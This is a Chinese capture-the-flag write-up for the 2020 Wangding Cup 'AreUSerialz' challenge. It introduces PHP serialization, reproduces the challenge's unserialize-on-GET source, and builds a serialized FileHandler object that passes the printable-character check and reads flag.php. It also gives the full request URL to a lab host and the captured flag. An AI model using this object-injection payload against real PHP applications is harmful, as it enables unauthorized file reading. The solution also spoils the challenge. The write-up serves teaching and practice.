【网鼎杯 2020 青龙组】AreUSerialz
前置知识:
序列化简介:
简单讲,序列化其实就是将数据转换成一种可逆的数据结构,自然,逆向的过程就是反序列化。
举个例子:
现在我们都会在淘宝上买桌子,桌子这种很不规则的东西,该怎么从一个城市运输等到另一个城市,这时候一般都会把他拆掉成板子,再装到箱子里面,就可以快递出去了,这个过程就类似我们的序列化的过程(把数据转化为可以存储或者传传输的形式)。
反序列化
当买家收到货以后,就需要自己把这些板子组装成桌字的样子,这个过程就像反序列化的过程(转化成当初的数据对象)。
代码展示:
<?PHP
//序列化
$sites=array('baidu'=>'www.baidu.com','count'=>10);
//baidu=key(数组的下标),www.baidu.com=value(数组的值)
$str=serialize($sites);
//serialize=序列化
echo $str;
//反序列化
$sites2=unserialize($str);
//unserialize=将序列化的内容拆封(反序列化)
echo var_dump($sites2);
?>
序列化格式:
格式说明:
O:1:“A”:3 O表示对象,类名长度为1,类名为A,有3个成员变量 大括号里面是3个成员变量的信息
public成员变量的名字直接写就行
protected成员变量的名字前需要加%00*%00
%00不在ascll表里注意做题的时候的判断语句
private成员变量的名字前需要加%00类名%00
PHP 7 以上的版本不区分public 和 protected的类型
项目地址
题目:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
函数流程:
FileHandler–》__construct()–》process():需要满足op=2 --》read():读取flag.php
1. 这里我把protectd换成了public就是因为下面的is_valid他会遍历值是否在ascll表32-125(可见字符),要是使用protetd话序列化出来的就会有%00就绕过不了is_valid。
2. 函数read里读取文件,这里我就直接把filename=flag.php
3. 其他不变在最后加上序列化的代码(用phpstudy调试)
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
public $op; //操作类型
public $filename; //文件名
public $content; //内容
function __construct() { //对象建立时触发
$this->op = 2;
$this->filename = "flag.php"; //默认文件名
$this->content = "Hello World!"; //默认内容
$this->process(); //执行处理
}
public function process() { //处理函数
if($this->op == "1") { //判断op是否等于1
$this->write(); //等于1话跳转到写入函数write
} else if($this->op == "2") { //判断op是否等于2
$res = $this->read(); //等于2话跳转到读取函数read
$this->output($res); //输出
} else {
$this->output("Bad Hacker!"); //输出
}
}
private function write() { //写入函数
if(isset($this->filename) && isset($this->content)) { //判断是否有文件名和内容
if(strlen((string)$this->content) > 100) { //判断内容是否超过100个字符
$this->output("Too long!"); //输出
die();
}
$res = file_put_contents($this->filename, $this->content); //写入
if($res) $this->output("Successful!"); //输出
else $this->output("Failed!"); //输出
} else {
$this->output("Failed!"); //输出
}
}
private function read() { //读取函数
$res = "";
if(isset($this->filename)) { //判断是否有文件名
$res = file_get_contents($this->filename); //读取
}
return $res;
}
private function output($s) { //输出函数
echo "[Result]: <br>"; //输出
echo $s; //输出
}
function __destruct() { //对象销毁时触发
if($this->op === "2") //如果是读取
$this->op = "1"; //改为写入
$this->content = ""; //清空内容
$this->process(); //执行处理
}
}
function is_valid($s) { //判断是否有效函数
for($i = 0; $i < strlen($s); $i++) //遍历字符串
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) //判断字符是否有效
return false;
return true;
}
if(isset($_GET{'str'})) { //判断是否有字符串
$str = (string)$_GET['str']; //获取字符串
if(is_valid($str)) { //判断是否有效
$obj = unserialize($str); //反序列化
}
}
$obj = new FileHandler();
echo serialize($obj);
?>
执行结果:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:12:"Hello World!";}
使用GET传参:
2694224d-036d-43e6-b2b2-19054ffd95c9.node4.buuoj.cn:81/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:12:"Hello%20World!";}
F12得到flag
flag{fa801ab3-26b2-4b10-8068-79ac4d594c02}